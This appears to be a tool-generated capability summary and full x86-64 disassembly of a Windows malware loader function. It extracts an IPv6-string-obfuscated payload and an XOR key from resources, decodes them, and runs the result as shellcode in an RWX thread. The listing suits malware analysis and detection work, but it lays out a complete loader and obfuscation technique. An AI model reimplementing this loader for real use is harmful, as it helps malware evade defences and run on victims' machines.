Function at 0x140001070
Capabilities:
Allocate or change rwx memory
Create thread
Encode data using xor
Execute shellcode via indirect call
Extract resource via kernel32 functions
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x50
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x40], rax
mov edx, 0x65
xor ecx, ecx
lea r8d, [rdx - 0x5b]
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rdx, rax
xor ecx, ecx
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rdx, rbx
xor ecx, ecx
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov edx, eax
lea rcx, str.the_size_of_payload__i_n
mov edi, eax
call fcn.140001010
mov edx, 0x66
xor ecx, ecx
lea r8d, [rdx - 0x5c]
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rdx, rax
xor ecx, ecx
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rdx, rbx
xor ecx, ecx
mov qword [rsp + 0x30], rax
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov edx, eax
lea rcx, str.the_size_of_key__i_n
mov r13d, eax
call fcn.140001010
movabs rax, 0xc7ce0c7ce0c7ce0d
lea rcx, str.count_of_rows__i_n
mul rdi
mov rdi, rdx
shr rdi, 5
mov rdx, rdi
call fcn.140001010
mov rcx, 0xffffffffffffffff
mov eax, 8
mul rdi
cmovo rax, rcx
mov rcx, rax
call fcn.140001590
xor ebx, ebx
mov r14, rax
test rdi, rdi
je 0x140001375
mov ecx, 0x27
call fcn.140001590
mov qword [r14 + rbx*8], rax
inc rbx
cmp rbx, rdi
jb 0x140001176
xor edx, edx
xor r8d, r8d
mov rcx, qword [r14 + r8*8]
movzx eax, byte [rdx + rsi]
mov byte [rcx], al
mov rcx, qword [r14 + r8*8]
movzx eax, byte [rdx + rsi + 1]
mov byte [rcx + 1], al
mov rcx, qword [r14 + r8*8]
movzx eax, byte [rdx + rsi + 2]
mov byte [rcx + 2], al
mov rcx, qword [r14 + r8*8]
movzx eax, byte [rdx + rsi + 3]
mov byte [rcx + 3], al
mov rcx, qword [r14 + r8*8]
movzx eax, byte [rdx + rsi + 4]
mov byte [rcx + 4], al
mov rcx, qword [r14 + r8*8]
movzx eax, byte [rdx + rsi + 5]
mov byte [rcx + 5], al
mov rcx, qword [r14 + r8*8]
movzx eax, byte [rdx + rsi + 6]
mov byte [rcx + 6], al
mov rcx, qword [r14 + r8*8]
movzx eax, byte [rdx + rsi + 7]
mov byte [rcx + 7], al
mov rcx, qword [r14 + r8*8]
movzx eax, byte [rdx + rsi + 8]
mov byte [rcx + 8], al
mov rcx, qword [r14 + r8*8]
movzx eax, byte [rdx + rsi + 9]
mov byte [rcx + 9], al
mov rcx, qword [r14 + r8*8]
movzx eax, byte [rdx + rsi + 0xa]
mov byte [rcx + 0xa], al
mov rcx, qword [r14 + r8*8]
movzx eax, byte [rdx + rsi + 0xb]
mov byte [rcx + 0xb], al
mov rcx, qword [r14 + r8*8]
movzx eax, byte [rdx + rsi + 0xc]
mov byte [rcx + 0xc], al
mov rcx, qword [r14 + r8*8]
movzx eax, byte [rdx + rsi + 0xd]
mov byte [rcx + 0xd], al
mov rcx, qword [r14 + r8*8]
movzx eax, byte [rdx + rsi + 0xe]
mov byte [rcx + 0xe], al
mov rcx, qword [r14 + r8*8]
movzx eax, byte [rdx + rsi + 0xf]
mov byte [rcx + 0xf], al
mov rcx, qword [r14 + r8*8]
movzx eax, byte [rdx + rsi + 0x10]
mov byte [rcx + 0x10], al
mov rcx, qword [r14 + r8*8]
movzx eax, byte [rdx + rsi + 0x11]
mov byte [rcx + 0x11], al
mov rcx, qword [r14 + r8*8]
movzx eax, byte [rdx + rsi + 0x12]
mov byte [rcx + 0x12], al
mov rcx, qword [r14 + r8*8]
movzx eax, byte [rdx + rsi + 0x13]
mov byte [rcx + 0x13], al
mov rcx, qword [r14 + r8*8]
movzx eax, byte [rdx + rsi + 0x14]
mov byte [rcx + 0x14], al
mov rcx, qword [r14 + r8*8]
movzx eax, byte [rdx + rsi + 0x15]
mov byte [rcx + 0x15], al
mov rcx, qword [r14 + r8*8]
movzx eax, byte [rdx + rsi + 0x16]
mov byte [rcx + 0x16], al
mov rcx, qword [r14 + r8*8]
movzx eax, byte [rdx + rsi + 0x17]
mov byte [rcx + 0x17], al
mov rcx, qword [r14 + r8*8]
movzx eax, byte [rdx + rsi + 0x18]
mov byte [rcx + 0x18], al
mov rcx, qword [r14 + r8*8]
movzx eax, byte [rdx + rsi + 0x19]
mov byte [rcx + 0x19], al
mov rcx, qword [r14 + r8*8]
movzx eax, byte [rdx + rsi + 0x1a]
mov byte [rcx + 0x1a], al
mov rcx, qword [r14 + r8*8]
movzx eax, byte [rdx + rsi + 0x1b]
mov byte [rcx + 0x1b], al
mov rcx, qword [r14 + r8*8]
movzx eax, byte [rdx + rsi + 0x1c]
mov byte [rcx + 0x1c], al
mov rcx, qword [r14 + r8*8]
movzx eax, byte [rdx + rsi + 0x1d]
mov byte [rcx + 0x1d], al
mov rcx, qword [r14 + r8*8]
movzx eax, byte [rdx + rsi + 0x1e]
mov byte [rcx + 0x1e], al
mov rcx, qword [r14 + r8*8]
movzx eax, byte [rdx + rsi + 0x1f]
mov byte [rcx + 0x1f], al
mov rcx, qword [r14 + r8*8]
movzx eax, byte [rdx + rsi + 0x20]
mov byte [rcx + 0x20], al
mov rcx, qword [r14 + r8*8]
movzx eax, byte [rdx + rsi + 0x21]
mov byte [rcx + 0x21], al
mov rcx, qword [r14 + r8*8]
movzx eax, byte [rdx + rsi + 0x22]
mov byte [rcx + 0x22], al
mov rcx, qword [r14 + r8*8]
movzx eax, byte [rdx + rsi + 0x23]
mov byte [rcx + 0x23], al
mov rcx, qword [r14 + r8*8]
movzx eax, byte [rdx + rsi + 0x24]
mov byte [rcx + 0x24], al
mov rcx, qword [r14 + r8*8]
movzx eax, byte [rdx + rsi + 0x25]
mov byte [rcx + 0x25], al
mov rcx, qword [r14 + r8*8]
inc r8
movzx eax, byte [rdx + rsi + 0x26]
add rdx, 0x29
mov byte [rcx + 0x26], al
cmp r8, rdi
jb 0x140001191
jmp 0x140001377
xor edx, edx
lea rcx, str.counter_val___i_n
call fcn.140001010
mov rbp, rdi
lea rcx, str.NTDLL
shl rbp, 4
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.RtlIpv6StringToAddressA
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdx, rbp
mov qword [rsp + 0x38], 0
lea rcx, str._i_buff_size_n
mov r12, rax
call fcn.140001010
mov r9d, 0x40
mov r8d, 0x1000
mov rdx, rbp
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r15, rax
test rax, rax
jne 0x1400013ed
lea rcx, str.FAILED_ALLOCATION_MEMORY
call fcn.140001010
xor ebx, ebx
mov rsi, r15
test rdi, rdi
je 0x14000142d
nop word [rax + rax]
mov rcx, qword [r14 + rbx*8]
lea rdx, [rsp + 0x38]
mov r8, rsi
call r12
test eax, eax
jne 0x140001419
add rsi, 0x10
jmp 0x140001425
lea rcx, str.FAILED_pRtlIpv6StringToAddressA_n
call fcn.140001010
inc rbx
cmp rbx, rdi
jb 0x140001400
mov rcx, rbp
call fcn.140001590
xor esi, esi
mov rbx, rax
mov r9d, esi
mov ecx, esi
test rbp, rbp
je 0x140001470
mov r10, qword [rsp + 0x30]
sub r15, rax
mov r9d, ebp
nop
xor edx, edx
lea r8, [rcx + rbx]
mov rax, rcx
inc rcx
div r13
movzx eax, byte [rdx + r10]
xor al, byte [r8 + r15]
mov byte [r8], al
cmp rcx, rbp
jb 0x140001450
mov edx, r9d
lea rcx, str.counter_in_xor_value:__i_n
call fcn.140001010
lea rcx, str.xor_decoded__n
call fcn.140001010
lea rcx, str.Execution_of_shellcode_n
call fcn.140001010
mov r9d, 0x40
mov r8d, 0x1000
mov rdx, rbp
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
test rax, rax
je 0x140001516
mov r8, rbp
mov rdx, rbx
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
xor r9d, r9d
mov qword [rsp + 0x28], rsi
mov r8, rdi
mov dword [rsp + 0x20], esi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rbx, rax
test rax, rax
je 0x14000150d
lea rcx, str.CreateThread_success_n
call fcn.140001010
mov edx, 0xffffffff
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0xffffffff
jne 0x140001522
lea rcx, str.WAIT_FAILED_error_n
jmp 0x14000151d
lea rcx, str.thread_is_not_created__n
jmp 0x14000151d
lea rcx, str.VirtualAlloc_failed_n
call fcn.140001010
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.140001570
lea r11, [rsp + 0x50]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret